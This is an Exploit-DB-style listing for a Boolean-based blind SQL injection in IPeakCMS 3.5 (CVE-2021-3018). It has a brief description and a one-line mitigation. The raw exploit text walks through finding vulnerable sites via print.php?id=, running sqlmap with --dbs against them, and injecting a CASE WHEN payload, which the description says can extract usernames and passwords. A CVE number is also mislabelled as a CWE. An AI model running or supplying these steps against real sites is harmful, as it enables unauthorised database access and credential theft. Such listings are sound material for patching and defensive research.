IPeakCMS 3.5 - Boolean-based blind SQLi

vendor:

IPeakCMS

by:

MoeAlbarbari

9.8

CVSS

CRITICAL

Boolean-based blind SQLi

CWE

Product Name: IPeakCMS

Affected Version From: 3.5

Affected Version To: 3.5

Patch Exists: NO

Related CWE: CVE-2021-3018

CPE: a:ipeak:ipeakcms:3.5

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: BackBox Linux

2020

IPeakCMS 3.5 – Boolean-based blind SQLi

This exploit is a Boolean-based blind SQL injection vulnerability in IPeakCMS 3.5. It can be exploited by sending a malicious payload to the vulnerable parameter 'id' in the 'print.php' page. The payload can be used to extract information from the database, such as usernames and passwords.

Mitigation:

The best way to mitigate this vulnerability is to ensure that all user input is properly sanitized and validated before being used in any SQL queries.

Source

Exploit-DB raw data:

# Exploit Title: IPeakCMS 3.5 - Boolean-based blind SQLi
# Date: 07.12.2020
# Exploit Author: MoeAlbarbari
# Vendor Homepage: https://ipeak.ch/
# Software Link: N/A
# Version: 3.5
# Tested on: BackBox Linux
# CVE : CVE-2021-3018

Check the CMS version :goto www.site.com/cms/ and you will notice that in the login box there is the CMS name and its version 
Check if it's vulnerable, goto ->: site.com/cms/print.php if the print.php exists, then try to find any valid ID which returns page to print  e.g: site.com/cms/print.php?id=1
Parameter: id (GET based)
Use SQLmap if you've found the valid id...
e.g: sqlmap -u "site.com/cms/print.php?id=1" --dbs
Payload : id=(SELECT (CASE WHEN(3104=3104) THEN 1 ELSE (SELECT 8458) END))